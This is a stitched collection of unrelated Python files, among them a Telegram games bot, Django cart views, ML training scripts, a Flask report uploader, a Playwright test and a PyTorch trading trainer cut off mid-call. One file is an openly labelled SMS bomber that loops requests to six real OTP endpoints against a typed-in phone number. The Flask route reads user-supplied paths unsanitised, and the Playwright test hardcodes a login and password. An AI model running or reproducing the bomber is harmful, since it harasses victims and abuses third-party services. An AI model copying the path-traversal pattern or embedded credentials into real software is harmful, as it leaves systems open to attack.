import telebot
from telebot import types
import pygame
import random

from bot import bot, send, send_to_dev
from love import love
from numbers import numbers_game, guess
from cities import cities_game, name_city
from words import set_word, words

MODE = 'SELECT'

@bot.message_handler(commands=['start'])
def start(message):
    keyboard = types.ReplyKeyboardMarkup(resize_keyboard=True)
    love_button = types.KeyboardButton('❤ Love')
    numbers_game_button = types.KeyboardButton('🔢 Numbers')
    cities_game_button = types.KeyboardButton('🏙 Cities')
    words_game_button = types.KeyboardButton('🔠 Words')
    keyboard.add(love_button, numbers_game_button, cities_game_button, words_game_button)

    bot.send_message(message.chat.id, f'Hello, {message.from_user.first_name}', reply_markup=keyboard )

#@bot.message_handler(func=lambda x: MODE == 'LOVE')

@bot.message_handler(func=lambda x: MODE == 'NUMBERS')
def play_numbers(message):
    global MODE
    if not guess(message):
        MODE = 'SELECT'

@bot.message_handler(func=lambda x: MODE == 'CITIES')
def play_cities(message):
    global MODE
    if not name_city(message):
        MODE = 'SELECT'

@bot.message_handler(func=lambda x: MODE == 'WORDS')
def play_words(message):
    global MODE
    if not words(message):
        MODE = 'SELECT'

@bot.message_handler(content_types=['text'])
def message_processing(message):
    global MODE
    if message.text == '❤ Love':
        love(message)
        MODE = 'LOVE'
    elif message.text == '🔢 Numbers':
        MODE = 'NUMBERS'
        numbers_game(message)
    elif message.text == '🏙 Cities':
        MODE = 'CITIES'
        cities_game(message)
    elif message.text == '🔠 Words':
        MODE = 'WORDS'
        set_word(message)
    else:
        send(message, "I'm not advanced enough to understand this message")
    print(MODE)

bot.polling(none_stop=True)


from django.shortcuts import render,redirect
from .models import Product,description
from django.contrib.auth.decorators import login_required
from cart.cart import Cart
from django.http import HttpResponse
import logging

# Create your views here.
def index(request):

    # d1=description()
    # d1.id=1
    # d1.mtitle="pizza"
    # d1.iimg="p2.png"
    # d1.price=4
    # d1.desc="a dish of Italian origin consisting of a usually round, flat base of leavened wheat-based dough topped with tomatoes, cheese, and often various other ingredients"

    # d2=description()
    # d2.id=2
    # d2.mtitle="Non pizza"
    # d2.iimg="p1.png"
    # d2.price=4
    # d2.desc="a dish of Italian origin consisting of a usually round, flat base of leavened wheat-based dough topped with tomatoes, cheese, and often various other ingredients"

    # d3=description()
    # d3.id=3
    # d3.mtitle="Chicken burger"
    # d3.iimg="f2.png"
    # d3.price=4
    # d3.desc="Juicy, big, loaded with toppings of my choice." "High quality beef medium to well with cheese and bacon on a multigrain bun." "A huge single or triple burger with"

    # d4=description()
    # d4.id=4
    # d4.mtitle="Mexicon burger"
    # d4.iimg="f2.png"
    # d4.price=4
    # d4.desc="Juicy, big, loaded with toppings of my choice.""High quality beef medium to well with cheese and bacon on a multigrain bun." "A huge single or triple burger with"

    # d5=description()
    # d5.id=5
    # d5.mtitle="frinch frys"
    # d5.iimg="f1.png"
    # d5.price=4
    # d5.desc="french fries, also called chips, finger chips, fries, or French pommes frites, side dish or snack made from deep-fried potatoes that have been cut into pices."

    # d6=description()
    # d6.id=6
    # d6.mtitle="pizza"
    # d6.iimg="pizza.jpg"
    # d6.price=4
    # d6.desc="french fries, also called chips, finger chips, fries, or French pommes frites, side dish or snack made from deep-fried potatoes that have been cut into pices."

    # dlists=[d1,d2,d3,d4,d5,d6]

    dlist=description.objects.all()
    plist=Product.objects.all()
    return render (request,"index.html",{'dlists':dlist,'plists':plist})

#cart views

@login_required(login_url="/users/login")
def cart_add(request, id):

    #id=request.POST["id"]
    # logging.debug(id)
    cart = Cart(request)
    product = Product.objects.get(id=id)
    cart.add(product=product)
    return HttpResponse("sucessfully added",content_type="text/plain")

@login_required(login_url="/users/login")
def item_clear(request, id):
    cart = Cart(request)
    product = Product.objects.get(id=id)
    cart.remove(product)
    return redirect("cart_detail")

@login_required(login_url="/users/login")
def item_increment(request, id):
    cart = Cart(request)
    product = Product.objects.get(id=id)
    cart.add(product=product)
    return redirect("cart_detail")

@login_required(login_url="/users/login")
def item_decrement(request, id):
    cart = Cart(request)
    product = Product.objects.get(id=id)
    cart.decrement(product=product)
    return redirect("cart_detail")

@login_required(login_url="/users/login")
def cart_clear(request):
    cart = Cart(request)
    cart.clear()
    return redirect("cart_detail")

@login_required(login_url="/users/login")
def cart_detail(request):
    return render(request, 'cart_detail.html')


import requests
import urllib3
from time import sleep
from colorama import Fore
import pyfiglet
import os

os.system("clear")
out = pyfiglet.figlet_format("     < abol :/ ha.ck >")
print(Fore.BLUE+out)
print(Fore.WHITE+"["+Fore.RED+"*"+Fore.WHITE+"]"+Fore.RED+" sms bomber version(1.0.0)")
print()
a = input(Fore.GREEN+"   target phone >> "+Fore.RED)

b = "0"+a
url = ("https://app.snapp.taxi/api/api-passenger-oauth/v2/otp")
data= {"cellphone": b}
url2=("https://core.snapp.doctor/Api/Common/v1/sendVerificationCode/"+b+"/sms?cCode=98")
url3 = ("https://api.torob.com/a/phone/send-pin/?phone_number="+b)
url4 = ("https://web.emtiyaz.app/json/login")
data4 = {"send":"1","cellphone":b}
url5=("https://www.azki.com/prod/api/api/customer/register/check-phone-number?phoneNumber=azki_"+b)
url6 =("https://www.echarge.ir/m/login?length=19")
data6 = {"phoneNumber": b}
while True:
    c = requests.post(url,data)
    d = requests.get(url2)
    e = requests.get(url3)
    f = requests.post(url4,data4)
    g = requests.get(url5)
    h = requests.post(url6,data6)
    print("send")
    sleep(2)


### Day 14 - Higher lower game project

import random
from art import logo, vs
from game_data import data

def get_random_account():
    """Gets a random account from data"""
    return random.choice(data)

def format_data (account):
    """Takes the account data and returns printable format"""
    name = account["name"]
    descr = account["description"]
    country = account["country"]
    return f"{name}, a {descr}, from {country}"

def check_answer(guess, a_followers, b_followers):
    """Checks the number of followers against the guess and if it is right returns True"""
    if a_followers > b_followers:
        return guess == "a"
    else:
        return guess == "b"

def game():
    game_should_continue = True
    score = 0
    account_b = get_random_account()
    account_a = get_random_account()
    print(logo)

    while game_should_continue:
        account_a = account_b
        account_b = random.choice(data)
        while account_a == account_b:
            account_b = random.choice(data)

        print(f"Compare A: {format_data(account_a)}.")
        print(vs)
        print(f"Against B: {format_data(account_b)}.")
        guess = input("Who has more followers? Type 'A' or 'B'").lower()
        a_follower_count = account_a["follower_count"]
        b_follower_count = account_b["follower_count"]
        is_correct = check_answer(guess, a_follower_count, b_follower_count)

        if is_correct:
            score +=1
            print(f"You're right! Current score: {score}")
        else:
            game_should_continue = False
            print(f"Sorry that's wrong. Final score {score}")

game()


import tensorflow as tf
from tensorflow import keras
from keras.models import Sequential
from keras.layers import Dense, Conv2D, Flatten, MaxPooling2D
from keras.callbacks import TensorBoard
import numpy as np
import matplotlib.pyplot as plt

fashion_mnist = keras.datasets.fashion_mnist
(train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data()

train_images = train_images.reshape(60000,28,28,1).astype(np.float32)
train_labels = keras.utils.to_categorical(train_labels, 10).astype(np.float32)

test_images = test_images.reshape(-1,28,28,1).astype(np.float32)
test_labels = keras.utils.to_categorical(test_labels, 10).astype(np.float32)

#create model
model = Sequential()
#add layers
#first layer: 5x5 filter, stride = 1, no padding, output (channels, height, width): (3,24,24)
model.add(Conv2D(filters=3, kernel_size=5, strides = (1,1), padding='same', input_shape=(28, 28, 1), data_format='channels_last', activation='relu'))
#second layer: stride = 2, output: (3,12,12)
model.add(MaxPooling2D(pool_size=(2,2), strides=2, input_shape = (24, 24, 3), data_format='channels_last'))
#third layer: 3x3 filter, stride = 1, no padding, output (channels, height, width): (3,12,12)
model.add(Conv2D(filters=3, kernel_size=3, strides = 1, padding='valid', input_shape = (12, 12, 3), data_format='channels_last', activation='relu'))
#fourth layer: stride = 2, output: (3,6,6)
model.add(MaxPooling2D(pool_size=(2,2), strides=2, input_shape = (6, 6, 3), data_format='channels_last'))
#flatten for fully-connected layer and add the fully-connected layers
model.add(Flatten())
model.add(Dense(100, input_shape=(108,), activation='relu'))
model.add(Dense(50, input_shape=(100,), activation='relu'))
model.add(Dense(10, input_shape=(50,), activation='softmax'))

model.compile(loss='categorical_crossentropy', optimizer='rmsprop', metrics = ['accuracy'])

history = model.fit(train_images, train_labels, epochs=10, verbose=2)
print("training finished")

loss_values = history.history['loss']
epochs = range(1, len(loss_values)+1)

loss_acc = model.evaluate(test_images, test_labels, verbose=0)
print("\nTest data loss = %0.4f  accuracy = %0.2f%%" % \
  (loss_acc[0], loss_acc[1]*100) )
# print model.summary

plt.plot(epochs, loss_values, label='Training Loss')
plt.xlabel('Epochs')
plt.ylabel('Loss')
plt.legend()
plt.show()


from flask import Flask, send_from_directory
from flask import request, redirect, jsonify
from werkzeug.utils import secure_filename
from bs4 import BeautifulSoup
import os
import re

UPLOAD_FOLDER = 'reports'

app = Flask(__name__)

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024
ALLOWED_EXTENSIONS = set(['html', 'htm'])

@app.route('/')
def hello_world():
    return 'Hello, Docker!'

#@app.route('/reports/<host:host>')
#def reports_host(host):
#    return send_from_directory('reports', host, '.html')

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def rules_number(a):
    x = re.findall('[0-9]+', a)
    return int(x[0])

def compliance_summary(summary):
    final = rules_number(summary)
    #final = final.text.rstrip()
    return final

def compliance_report(content):
    soup = BeautifulSoup(content, "html.parser")
    scoring = soup.find("div", title="Displays proportion of passed/fixed, failed/error, and other rules (in that order). There were $not_ignored_rules_count rules taken into account.")
    success = compliance_summary(scoring.find("div", class_="progress-bar progress-bar-success").text.rstrip())
    danger = compliance_summary(scoring.find("div", class_="progress-bar progress-bar-danger").text.rstrip())
    warning = compliance_summary(scoring.find("div", class_="progress-bar progress-bar-warning").text.rstrip())
    severity_failed = soup.find("div", title="Displays proportion of high, medium, low, and other severity failed rules (in that order). There were 154 total failed rules.")

    #scoring = soup.find_all("div", class_="progress-bar")
    #ret = {'success': succes
    #       , 'danger': danger, 'warning': warning}
    ret = {'passed': success,
            'failed': danger,
            'warning': warning,
            'severity': str(severity_failed) }
    return ret

@app.route('/reports/<path:path>', methods=['POST', 'GET'])
def report(path):
    if request.method == 'GET':
        print('reports/' + path)
        #try:
        with open('reports/' + path) as f:
            content = f.read()
            resp = jsonify({'message': compliance_report(content)})
            #resp = compliance_report(content)
            resp.status_code = 200
            return resp
        #except:
        #    resp = jsonify({'message' : 'No report'})
        #    resp.status_code = 400
        #    return resp
        #return send_from_directory('reports', path)
    elif request.method == 'POST':
        print(request)
        if 'file' not in request.files:
            resp = jsonify({'message' : 'No file part in the request'})
            resp.status_code = 400
            return resp
        file = request.files['file']
        if file.filename == '':
            resp = jsonify({'message' : 'No file selected for uploading'})
            resp.status_code = 400
            return resp
        if file and allowed_file(file.filename):
            filename = secure_filename(path)
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            resp = jsonify({'message' : 'File successfully uploaded'})
            resp.status_code = 201
            return resp
        else:
             resp = jsonify({'message' : 'Allowed file types are html, htm, pdf'})
             resp.status_code = 400
             return resp


"""
Serializers for parkinglot api
"""
from rest_framework import serializers

from core.models import (
    ParkingLot
)

class ParkingLotSerializer(serializers.ModelSerializer):
    """Serializer for Parkinglots"""

    class Meta:
        model = ParkingLot
        fields = ['id', 'name', 'address']

    def create(self, validated_data):
        if not validated_data.get('user').is_superuser:
            raise serializers.ValidationError("Admin can only create")
        return ParkingLot.objects.create_parking_lot(**validated_data)


import pandas as pd
import warnings
import matplotlib.pyplot as plt
import numpy as np
from sklearn.metrics import confusion_matrix, accuracy_score, classification_report, f1_score
from sklearn.model_selection import train_test_split, GridSearchCV
from sklearn.tree import DecisionTreeClassifier
from sklearn.naive_bayes import GaussianNB
from sklearn.linear_model import Perceptron
from sklearn.neural_network import MLPClassifier
# a lot of warning from tuning hyper params
warnings.filterwarnings("ignore")

out_path = "out/"
benchmark_file = "drugs-performance.txt"

def load_data():
    drug_path = "data/drug200.csv"
    drug_data = pd.read_csv(drug_path)
    return drug_data

def plot_dist(drug_data):
    drug_classes = {}
    key_list = []

    for item in drug_data['Drug']:
        if drug_classes.get(item) is None:
            drug_classes.update({item : len([x for x in drug_data['Drug'] if x == item])})
            key_list.append(item)

    # sorting
    key_list.sort()
    temp = {}
    for k in key_list:
        temp.update({k : drug_classes.get(k)})

    drug_classes = temp

    # plotting to drug-distribution.pdf
    plt.plot(list(drug_classes.keys()), list(drug_classes.values()), 'r')
    plt.xlabel("Classes")
    plt.ylabel("Count")
    plt.savefig(f"{out_path}drug-distribution.pdf")

def analyze_performance(name, params, y_true, y_pred, append=False):
    write_mode = "a" if append else "w"

    confusion = confusion_matrix(y_true, y_pred)
    f1_measure = classification_report(y_true, y_pred, digits=3, zero_division=0)
    f1_score_macro = f1_score(y_true, y_pred, average="macro")
    f1_score_weighted = f1_score(y_true, y_pred, average="weighted")
    acc = accuracy_score(y_true, y_pred)

    with open(f"{out_path}{benchmark_file}", write_mode) as f:
        f.write("=" * 100)
        f.write(f"\n(a)\nModel: {name}\n")
        f.write(f"Params:\n{params}\n")
        f.write(f"\n(b) Confusion Matrix\n{confusion}\n")
        f.write(f"\n(c)\n{f1_measure}\n")
        f.write(f"\n(d) \nAccuracy of model: {acc:.2%}\n")
        f.write(f"Macro-average F1 of model: {f1_score_macro:.2%}\n")
        f.write(f"Weighted-average F1 of model: {f1_score_weighted:.2%}\n")
        f.write("=" * 100)
        f.write("\n")

# Train and predict
def train_and_predict(clf, X_test, X_train, y_train):
    # Training multinomial Naive Bayes
    clf.fit(X_train, y_train)
    y_pred = clf.predict(X_test)
    return y_pred

def main():
    # Loading dataset
    drug_data = load_data()

    # Plot
    plot_dist(drug_data)

    # Nominal to numerical
    df = pd.get_dummies(drug_data, columns=['Sex'])

    # Ordinal to numerical
    df['BP'].replace({'LOW':1, 'NORMAL':2, 'HIGH':3}, inplace=True)
    df['Cholesterol'].replace({'LOW':1, 'NORMAL':2, 'HIGH':3}, inplace=True)
    df =df[['Age', 'BP', 'Cholesterol','Na_to_K', 'Sex_F', 'Sex_M', 'Drug']] # re-ordering cols

    # splitting
    X = df.drop('Drug', axis=1).values
    y = df['Drug'].values

    # I had reversed these previously...
    # X_test, X_train, y_test, y_train = train_test_split(X, y)
    X_train, X_test, y_train, y_test = train_test_split(X, y)

    # GaussianNB
    clf = GaussianNB()
    y_pred = train_and_predict(clf, X_test, X_train, y_train)
    analyze_performance("GaussianNB", "Default", y_test, y_pred)

    # Base-DT
    clf = DecisionTreeClassifier()
    y_pred = train_and_predict(clf, X_test, X_train, y_train)
    analyze_performance("Base-DT", "Default", y_test, y_pred, True)

    # Top-DT
    dt = DecisionTreeClassifier()
    clf = GridSearchCV(dt,
        param_grid={
            'criterion' : ['gini', 'entropy'],
            'max_depth' : [5, 8],
            'min_samples_split' : [2, 4, 8]
    },cv=2, return_train_score=False)
    clf.fit(X_train, y_train)

    best_dt_params = clf.best_params_

    clf = DecisionTreeClassifier(criterion=best_dt_params['criterion'],
                            max_depth=best_dt_params['max_depth'],
                            min_samples_split=best_dt_params['min_samples_split'])

    y_pred = train_and_predict(clf, X_test, X_train, y_train)
    analyze_performance("Top-DT", str(best_dt_params), y_test, y_pred, True)

    # PER
    clf = Perceptron()
    y_pred = train_and_predict(clf, X_test, X_train, y_train)
    analyze_performance("PER", "Default", y_test, y_pred, True)

    # Base-MLP
    clf = MLPClassifier(hidden_layer_sizes=(100), activation='logistic', solver='sgd')
    y_pred = train_and_predict(clf, X_test, X_train, y_train)
    analyze_performance("Base-MLP", """1 hidden layer of 100 neurons, sigmoid/logistic as activation function,
stochastic gradient descent, and default values for the rest of the parameters.""",
        y_test, y_pred, True)

    # Top-MLP
    mlp = MLPClassifier()
    clf = GridSearchCV(mlp,
                       param_grid={
                       'hidden_layer_sizes' : [(30, 50), (10, 10, 10)],
                       'activation' : ['logistic', 'tanh', 'relu', 'identity'],
                       'solver' : ['sgd', 'adam']
                   })

    clf.fit(X_train, y_train)
    best_mlp_params = clf.best_params_

    clf = MLPClassifier(hidden_layer_sizes=best_mlp_params['hidden_layer_sizes'],
                            activation=best_mlp_params['activation'],
                            solver=best_mlp_params['solver'])
    y_pred = train_and_predict(clf, X_test, X_train, y_train)
    analyze_performance("Top-MLP", str(best_mlp_params), y_test, y_pred, True)

    ###############################################################################
    # Redo steps 6 10 times
    ###############################################################################

    clfs = [GaussianNB(),
            DecisionTreeClassifier(),
            DecisionTreeClassifier(criterion=best_dt_params['criterion'],
                            max_depth=best_dt_params['max_depth'],
                            min_samples_split=best_dt_params['min_samples_split']),
            Perceptron(),
            MLPClassifier(hidden_layer_sizes=(100), activation='logistic', solver='sgd'),
            MLPClassifier(hidden_layer_sizes=best_mlp_params['hidden_layer_sizes'],
                            activation=best_mlp_params['activation'],
                            solver=best_mlp_params['solver'])]

    avg_acc = {}
    avg_acc_std = {}
    avg_macro_avg = {}
    avg_macro_avg_std = {}
    avg_wgt_avg = {}
    avg_wgt_avg_std = {}
    for clf in clfs:
        acc = []
        acc_std = 0
        macro_avg = []
        macro_std_std = 0
        wgt_avg = []
        wgt_std = 0
        for i in range(10):
            y_pred = train_and_predict(clf, X_test, X_train, y_train)
            acc.append(accuracy_score(y_test, y_pred))
            macro_avg.append(f1_score(y_test, y_pred, average="macro"))
            wgt_avg.append(f1_score(y_test, y_pred, average="weighted"))
        avg_acc.update({str(clf) : (sum(acc)/10)})
        avg_acc_std.update({str(clf) : np.std(acc)})
        avg_macro_avg.update({str(clf) : (sum(macro_avg)/10)})
        avg_macro_avg_std.update({str(clf) : np.std(macro_avg)})
        avg_wgt_avg.update({str(clf) : (sum(wgt_avg)/10)})
        avg_wgt_avg_std.update({str(clf) : np.std(wgt_avg)})

    with open(f'{out_path}{benchmark_file}', 'a') as f:
        f.write("#" * 100)
        f.write("\nRunning 10x runs of each models:\n")
        for key in avg_acc:
            f.write(f"\n{key}\n")
            f.write(f"average accuracy: {avg_acc[key]:.2%}\n")
            f.write(f"std accuracy: {avg_acc_std[key]}\n")
            f.write(f"average macro average F1: {avg_macro_avg[key]:.2%}\n")
            f.write(f"std macro average F1: {avg_macro_avg_std[key]}\n")
            f.write(f"average weighted average F1: {avg_wgt_avg[key]:.2%}\n")
            f.write(f"std weighted average F1: {avg_wgt_avg_std[key]}\n")

if __name__ == "__main__":
    main()


from pathlib import Path
import os

# ! DO NOT CHANGE THE OPTIONS BELOW, YOUR INSTANCE WILL BREAK ! #
ADMIN_TABLE = {
    "field_names": ["To Execute This Command...", "Please Enter:"],
    "commands": [
        ["Exit Admin Mode", "0"],
        ["Print resources report", "1"],
        ["Refill resources", "2"],
        ["Add a new flavour", "3"],
        ["Remove a flavour", "4"],
    ]
}
FLAVOUR_CHECK = {
    "flavour_choice": {
        "flavour": ["espresso", "cappuccino", "latte"],
        "size": ["small", "medium", "large"],
        "sugar": {
            "None": ["no", "without"],
            "Extra": ("extra")
        },
        "cream": {
            "None": ["no", "without"],
            "Extra": ("extra")
        }

    },
    "random_flavour": {
        "no clue": [
            ("no"),
            ("idea", "think", "clue", "know")
        ],
        "choose for me": [
            ('choos', 'get', 'give', 'pick'),
            ('anyth', 'any', 'random')
        ]
    },
    "unidentified": "Sorry, I don't think we have that flavour! Can you please rephrase your order?",
}
SUPPORTED_COMMAND_PROMPTS = [cmd[1] for cmd in ADMIN_TABLE["commands"]]
CSV_PATH = Path(__file__).parent / "menu.csv"
clear = lambda: os.system('cls')
LETTERS = ('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z')
NUMBERS = ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9')


# Python版本：3.7
# -*- coding:utf-8 -*-
import time

import playwright
from playwright.sync_api import sync_playwright
import pytest

def login(self):
    # Go to https://account.dangquyun.com/useridentity/Account/Login
    self.page.goto("https://account.dangquyun.com/useridentity/Account/Login")
    time.sleep(3)
    # Click input[name="Account"]
    self.page.locator("input[name=\"Account\"]").click()
    # Fill input[name="Account"]
    self.page.locator("input[name=\"Account\"]").fill("13777207532")
    # Press Tab
    self.page.locator("input[name=\"Account\"]").press("Tab")
    # Fill input[name="Password"]
    self.page.locator("input[name=\"Password\"]").fill("123456abcde")
    # Click button:has-text("登录")
    with self.page.expect_navigation():
        self.page.locator("button:has-text(\"登录\")").click()
    time.sleep(5)

class TestHR():
    def setup(self):
        playwright = sync_playwright().start()
        iphone = playwright.devices["iPhone 12"]
        browser = playwright.chromium.launch(headless=False)
        context = browser.new_context(**iphone)
        page = context.new_page()
        page.goto("http://m.test.powertradepro.com")
        print(page.context)
        # other actions...
        time.sleep(5)
        browser.close()

    def test_QC(self):
        print('123')

    def teardown(self):
        time.sleep(10)
        self.page.close()

from playwright.sync_api import sync_playwright
import time


import logging
import os
import time

import numpy as np
import matplotlib.pyplot as plt
import torch
import torch.nn as nn

from utils import import_string

torch.set_default_dtype(torch.float)
torch.autograd.set_detect_anomaly(True)
torch.backends.cudnn.deterministic = False
# torch.backends.cudnn.benchmark = True
# torch.use_deterministic_algorithms()

def train(model,
          preprocess,
          data_train,
          data_dev = None,
          log_dev_progress = True, log_dev_progress_freq = 50, log_plot_freq = 50,
          num_epochs = 100, lr = 0.001, batchsize = 200, optimizer_name = "Adam", optimizer_opts = {"lr": 0.001},
          early_stopping = False, early_stopping_max_trials=5, lr_decay = 0.5,
          residual_weights_train = None, residual_weights_dev = None,
          save_params = True, output_path = None, model_tag = '',
          lookback = 30,
          trans_cost = 0, hold_cost = 0,
          parallelize = True, device = None, device_ids=[0,1,2,3,4,5,6,7],  # must use device='cuda' to parallelize
          force_retrain = True,
          objective = "sharpe",):

    if output_path is None: output_path = model.logdir
    if device is None: device = model.device
    logging.info(f"train(): data_train.shape {data_train.shape}")

    # preprocess data
    # assets_to_trade chooses assets which have at least `lookback` non-missing observations in the training period
    # this does not induce lookahead bias because idxs_selected is backward-looking and
    # will only select assets with at least `lookback` non-missing obs
    assets_to_trade = np.count_nonzero(data_train, axis=0) >= lookback
    logging.info(f"train(): assets_to_trade.shape {assets_to_trade.shape}")
    data_train = data_train[:,assets_to_trade]
    if residual_weights_train is not None:
        residual_weights_train = residual_weights_train[:,assets_to_trade]
    T,N = data_train.shape
    logging.info(f"train(): T {T} N {N}")
    windows, idxs_selected = preprocess(data_train, lookback)
    logging.info(f"train(): windows.shape {windows.shape} idxs_selected.shape {idxs_selected.shape}")

    # start to train
    if parallelize:
        model = nn.DataParallel(model, device_ids=device_ids)
    model.to(device)
    model.train()
    optimizer_func = import_string(f"torch.optim.{optimizer_name}")
    optimizer = optimizer_func(model.parameters(), **optimizer_opts)

    min_dev_loss = np.inf
    patience = 0
    trial = 0

    already_trained = False
    checkpoint_fname = f'Checkpoint-{model.module.random_seed if parallelize else model.random_seed}_seed_'+model_tag+'.tar'
    if os.path.isfile(os.path.join(output_path, checkpoint_fname)) and not force_retrain:
        already_trained = True
        checkpoint = torch.load(os.path.join(output_path, checkpoint_fname), map_location=device)
        model.load_state_dict(checkpoint['model_state_dict'])
        model.to(device)
        model.train()
        logging.info('Already trained!')

    #train_loader = torch.utils.data.DataLoader(dataset=train_dataset, batch_size=batch_size, shuffle=False)

    begin_time = time.time()
    for epoch in range(num_epochs):
        rets_full = np.zeros(T-lookback)
        short_proportion = np.zeros(T-lookback)
        turnover = np.zeros(T-lookback)

        # break input data up into batches of size `batchsize` and train over them
        for i in range(int((T-lookback)/batchsize)+1):
            weights= torch.zeros( (min(batchsize*(i+1),T-lookback)-batchsize*i, N), device=device)
            if epoch == 0 and i == 0:
                logging.info(f"epoch {epoch} batch {i} weights.shape {weights.shape}")
            else:
                logging.debug(f"epoch {epoch} batch {i} weights.shape {weights.shape}")
            logging.debug("stats: " +\
                f"idxs_selected.shape {idxs_selected.shape}, " +\
                f"filtered for batch {i} idxs_selected.shape {idxs_selected[batchsize*i:min(batchsize*(i+1),T-lookback),:].shape}, " +\
                f"weights.shape {weights.shape}, " +\
                f"batch period len {min(batchsize*(i+1),T) - batchsize*i}"
            )
            # weights[idxs_selected[batchsize*i:min(batchsize*(i+1),T-lookback),:]] = model(torch.tensor(windows[batchsize*i:min(batchsize*(i+1),T-lookback)][idxs_selected[batchsize*i:min(batchsize*(i+1),T-lookback),:]],device=device))
            idxs_batch_i = idxs_selected[batchsize*i:min(batchsize*(i+1),T-lookback),:]  # idxs of valid residuals to trade in batch i
            input_data_batch_i = windows[batchsize*i:min(batchsize*(i+1),T-lookback)][idxs_batch_i]
            logging.debug(f"epoch {epoch} batch {i} input_data_batch_i.shape {input_data_batch_i.shape}")
            weights[idxs_batch_i] = model(torch.tensor(input_data_batch_i, device=device))
            if residual_weights_train is None:
                abs_sum = torch.sum(torch.abs(weights),axis=1,keepdim=True)
            else:  # residual_weights_train is TxN1xN2 (multiplied by returns on the right gives residuals)
                assert(weights.shape == residual_weights_train[lookback+batchsize*i:min(lookback+batchsize*(i+1),T),:,0].shape)
                T1,N1 = weights.shape  # weights is T1xN1
                weights2 = torch.bmm(weights.reshape(T1,1,N1), \
                                     torch.tensor(residual_weights_train[lookback+batchsize*i:min(lookback+batchsize*(i+1),T)],
                    device=device)).squeeze()  # will be T1xN2: weights2 is in underlying asset space
                if epoch == 0 and i == 0:
                    logging.info(f"epoch {epoch} batch {i} weights2.shape {weights2.shape}")
                else:
                    logging.debug(f"epoch {epoch} batch {i} weights2.shape {weights2.shape}")
                abs_sum = torch.sum(torch.abs(weights2),axis=1,keepdim=True)
                try: weights2 = weights2/abs_sum
                except: weights2 = weights2/(abs_sum + 1e-8)
            try: weights = weights/abs_sum
            except: weights = weights/(abs_sum + 1e-8)

            rets_train = torch.sum(weights*torch.tensor(data_train[lookback+batchsize*i:min(lookback+batchsize*(i+1),T),:],device=device),axis=1)

            # # no minibatch
            # if quantile is None:
            #     weights= torch.zeros((T-lookback,N),device=device)
            #     #print(windows[idxs_selected].shape, weights[idxs_selected].shape)
            #     #breakpoint()
            #     weights[idxs_selected] = model(torch.tensor(windows[idxs_selected],device=device))
            #     abs_sum = torch.sum(torch.abs(weights),axis=1,keepdim=True)
            #     weights= weights/(abs_sum+0.000000001)
            #     #weights= torch.zeros((T-lookback,N),device=device)
            #     #weights[abs_sum>0] = weights[abs_sum>0]/abs_sum[abs_sum>0].unsqueeze(1)
            # else: #test this
            #     weights = torch.full((T-lookback,N),float('nan'),device=device)
            #     weights[idxs_selected] = model(torch.tensor(windows[idxs_selected],device=device))
            #     quantilesTop = torch.nanquantile(weights,1-quantile,axis=1)
            #     quantilesBottom = torch.nanquantile(weights,quantile,axis=1)
            #     weights= torch.zeros((T-lookback,N),device=device)
            #     weights[(weights>quantilesTop) * (weights<quantilesBottom)] = weights[(weights>quantilesTop) * (weights<quantilesBottom)]
            #     weights= weights/(torch.sum(torch.abs(weights),axis=1)+0.0000001)
            # rets_train = torch.sum(weights*torch.tensor(data_train[lookback:,:],device=device),axis=1)

            # # sequential computation of weights
            # for t in range(lookback,data_dev.shape[0]):
            #     #idxs_selected = ~np.any(data_train[(t-lookback):t,:] == 0, axis = 0).ravel()
            #     #inputs = np.cumsum(data_train[(t-lookback):t,idxs_selected],axis=0).T #(N,T)
            #     #inputs = torch.tensor(inputs,device=device)
            #     #weights = model(inputs)
            #     weights = model(torch.tensor(windows[t-lookback,idxs_selected[t-lookback,:],:],device=device))
            #     abs_sum = torch.sum(torch.abs(weights))
            #     if abs_sum > 0:
            #         weights = weights/abs_sum
            #     rets_train = torch.sum(weights*torch.tensor(data_train[t,idxs_selected[t-lookback,:]],device=device)).reshape([1])
            #     if t == lookback:
            #         rets_train = rets_train
            #     else:
            #         rets_train = torch.cat((rets_train, rets_train))
            # #print(weights,weights.shape)
            # #print(abs_sum.shape)

            if residual_weights_train is None:
                rets_train = rets_train \
                  - trans_cost * torch.cat(
                        (torch.zeros(1, device=device),
                         torch.sum(torch.abs(weights[1:] - weights[:-1]), axis=1))) \
                  - hold_cost * torch.sum(torch.abs(torch.min(weights, torch.zeros(1, device=device))), axis=1)
            else:
                rets_train = rets_train \
                    - trans_cost * torch.cat(
                        (torch.zeros(1,device=device),
                         torch.sum(torch.abs(weights2[1:] - weights2[:-1]), axis=1))) \
                    - hold_cost * torch.sum(torch.abs(torch.min(weights2, torch.zeros(1, device=device))), axis=1)

            mean_ret = torch.mean(rets_train)
            std = torch.std(rets_train)
            if objective == "sharpe":
                loss = -mean_ret/std
            elif objective == "meanvar":
                loss = -mean_ret*252 + std*15.9
            elif objective == "sqrtMeanSharpe":
                loss = -torch.sign(mean_ret)*np.sqrt(np.abs(mean_ret))/std
            else:
                raise Exception(f"Invalid objective loss {objective}")

            if not already_trained and ((parallelize and model.module.is_trainable) or (not parallelize and model.is_trainable)):
                optimizer.zero_grad()
                loss.backward()
                optimizer.step()

            if residual_weights_train is None:
                weights = weights.detach().cpu().numpy()
            else:
                weights = weights2.detach().cpu().numpy()

            rets_full[batchsize*i:min(batchsize*(i+1),T-lookback)] = rets_train.detach().cpu().numpy()
            turnover[batchsize*i:(min(batchsize*(i+1),T-lookback)-1)] = np.sum(np.abs(weights[1:]-weights[:-1]),axis=1)
            turnover[min(batchsize*(i+1),T-lookback)-1] = turnover[min(batchsize*(i+1),T-lookback)-2]  # just to simplify things
            short_proportion[batchsize*i:min(batchsize*(i+1),T-lookback)] = np.sum(np.abs(np.minimum(weights,0)),axis=1)

        if log_dev_progress and epoch % log_dev_progress_freq == 0:
            dev_loss_description = ""
            if data_dev is not None:
                rets_dev,dev_loss,dev_sharpe,dev_turnovers,dev_short_proportions,weights_dev,a2t = \
                    get_returns(model,
                                preprocess = preprocess,
                                objective = objective,
                                data_test = data_dev,
